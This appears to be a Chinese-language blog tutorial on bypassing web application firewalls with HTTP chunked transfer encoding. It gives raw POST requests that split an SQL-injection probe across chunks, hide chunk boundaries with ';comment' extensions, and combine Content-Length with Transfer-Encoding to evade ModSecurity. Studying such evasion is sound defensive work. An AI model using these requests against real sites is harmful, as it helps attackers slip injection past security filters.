分块传输绕WAF的奥秘
一个Http请求的流程
当客户端发起请求后,首先会先建立一个TCP连接,然后再开始传输HTTP数据,然后服务端开始进行接收。但有个问题是,服务端是怎么知道什么时候停止接收,并断开连接的呢?
一般情况HTTP请求包的Header包含Content-Length域来指明报文体的长度。然后服务器端根据Content-Length来判断是否接收完毕,断开连接。
但有时候服务生成HTTP回应是无法确定消息大小的,比如大文件的下载,或者后台需要复杂的逻辑才能全部处理页面的请求,这时用需要实时生成消息长度,服务器一般使用chunked编码,就是告诉浏览器说,我不知道大小多少,但只要你收到了两个换行就停止接收吧。
Http的分块传输是怎么实现的
协议小结
分块传输作为应用层协议的一部分,注意就是告诉HTTP解析器,什么时候识别一个完整的HTTP报文。
分块传输为什么能绕WAF
- 分块传输:部分WAF是直接对Http数据报进行过滤的,也就是说并没有将其组成完整的HTTP数据报。这时候过滤,由于换行符等干扰,可以绕过WAF
-
添加注释:一些 WAF 已经对 Transfer-Encoding 的分块传输做了处理,可以把分块以一定的格式组合成完整的 HTTP 数据包(这个地方我猜想应该也不是标准的处理方式,不然最后组成了恶意的payload,还怎么绕过呢?),这时直接使用常规的分块传输方式进行绕过会被 WAF 识别
分块传输可以在长度标识处加分号作为注释,如:
9;kdsafsa
源数据报
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked
9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1
d
9
&a=1 and
3
2=2
0
(两个换行)
加入注释的数据报
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked
9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1;testsdasdsad
d
9;test
&a=1 and
3;test44444
2=2
0
(两个换行)
- Bypass ModSecurity:ModSecurity 是加载在中间件上的插件,可以直接获取到完整的 HTTP 数据包然后匹配危险关键字,需要传畸形的数据包绕过
POST /sql.php?id=1 HTTP/1.1
Host: 10.10.10.10
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 16
3
123
1
0
(两个换行)